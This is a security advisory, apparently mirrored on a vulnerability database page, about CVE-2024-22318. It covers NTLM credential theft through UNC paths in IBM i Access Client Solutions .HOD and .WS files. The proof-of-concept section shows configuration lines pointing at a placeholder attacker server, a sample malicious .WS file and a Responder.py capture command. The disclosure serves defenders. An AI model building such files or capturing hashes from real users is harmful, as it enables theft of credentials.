Lucene search
K

IBM i Access Client Solutions Remote Credential Theft

🗓️ 09 Feb 2024 00:00:00Reported by hyp3rlinx, hyp3rlinx.altervista.orgType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 344 Views

IBM i Access Client Solutions Remote Credential Theft vulnerability can lead to NTLM hash capture when specific files are opened, enabling attackers to obtain user credentials

Related
Code
`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/IBMI_ACCESS_CLIENT_REMOTE_CREDENTIAL_THEFT_CVE-2024-22318.txt  
[+] twitter.com/hyp3rlinx  
[+] ISR: ApparitionSec   
  
[Vendor]  
www.ibm.com  
  
[Product]  
IBM i Access Client Solutions  
  
[Versions]  
All  
  
[Remediation/Fixes]  
None  
  
[Vulnerability Type]  
Remote Credential Theft  
  
[CVE Reference]  
CVE-2024-22318  
  
  
[Security Issue]  
IBM i Access Client Solutions (ACS) is vulnerable to remote credential theft when NT LAN Manager (NTLM) is enabled on Windows workstations.  
Attackers can create UNC capable paths within ACS 5250 display terminal configuration ".HOD" or ".WS" files to point to a hostile server.  
If NTLM is enabled and the user opens an attacker supplied file the Windows operating system will try to authenticate using the current user's session.  
The attacker controlled server could then capture the NTLM hash information to obtain the user's credentials.  
  
  
[References]  
https://www.ibm.com/support/pages/node/7116091  
  
  
[Exploit/POC]  
The client access .HOD File vulnerable parameters:  
  
1) screenHistoryArchiveLocation=\\ATTACKER-SERVER\RemoteCredTheftP0c  
  
[KeyRemapFile]  
2) Filename= \\ATTACKER-SERVER\RemoteCredTheftP0c  
  
Next, Kali Linux Responder.py to capture: Responder.py -I eth0 -A -vv  
  
The client access legacy .WS File vulnerable parameters:  
DefaultKeyboard= \\ATTACKER-SERVER\RemoteCredTheftP0c  
  
Example, client access older .WS file  
  
[Profile]  
ID=WS  
Version=9  
[Telnet5250]  
AssociatedPrinterStartMinimized=N  
AssociatedPrinterTimeout=0  
SSLClientAuthentication=Y  
HostName=PWN  
AssociatedPrinterClose=N  
Security=CA400  
CertSelection=AUTOSELECT  
AutoReconnect=Y  
[KeepAlive]  
KeepAliveTimeOut=0  
[Keyboard]  
IBMDefaultKeyboard=N  
DefaultKeyboard=\\ATTACKER-SERVER\RemoteCredTheftP0c  
[Communication]  
Link=telnet5250  
  
  
[Network Access]  
Remote  
  
  
[Severity]  
Medium  
  
  
[Disclosure Timeline]  
Vendor Notification: December 14, 2023  
Vendor Addresses Issue: February 7, 2024  
February 8, 2024 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation